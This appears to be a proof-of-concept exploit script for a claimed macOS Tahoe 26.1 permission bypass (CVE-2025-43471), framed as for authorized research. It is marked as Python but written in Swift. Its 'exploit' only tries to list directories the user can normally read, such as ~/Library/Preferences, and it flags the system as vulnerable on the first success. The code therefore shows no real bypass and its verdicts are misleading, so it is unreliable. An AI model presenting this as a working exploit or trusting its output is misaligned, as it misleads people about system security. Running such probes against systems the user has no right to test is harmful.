The following code is for security research and authorized testing only.
python
# CVE-2025-43471 PoC - macOS Tahoe 26.1 Permission Bypass
# Note: This PoC is for educational and research purposes only
# Requires local code execution as low-privilege user
import Foundation
import Security
class CVE202543471Exploit {
func checkVulnerability() -> Bool {
// Attempt to access protected user data resources
// This simulates the vulnerability exploitation
let sensitivePaths = [
"~/Library/Application Support/",
"~/Library/Preferences/",
"~/Library/Accounts/",
"~/Library/Personalization/",
"/Users/Shared/",
]
for path in sensitivePaths {
let expandedPath = (path as NSString).expandingTildeInPath
let fileManager = FileManager.default
// Try to enumerate contents without proper privileges
do {
let contents = try fileManager.contentsOfDirectory(atPath: expandedPath)
// If we can read protected directories without elevation
print("Potentially vulnerable: Able to read \(path)")
return true
} catch {
print("Access denied for \(path)")
}
}
return false
}
func exploit() {
// Exploitation attempt
print("CVE-2025-43471 Exploitation Attempt")
print("Target: macOS Tahoe 26.1")
print("Vulnerability: Permission bypass leading to sensitive data access")
if checkVulnerability() {
print("[!] System may be vulnerable to CVE-2025-43471")
print("[!] Sensitive user data may be accessible without proper privileges")
} else {
print("[+] System appears patched or not vulnerable")
}
}
}
// Execute vulnerability check
let exploit = CVE202543471Exploit()
exploit.exploit()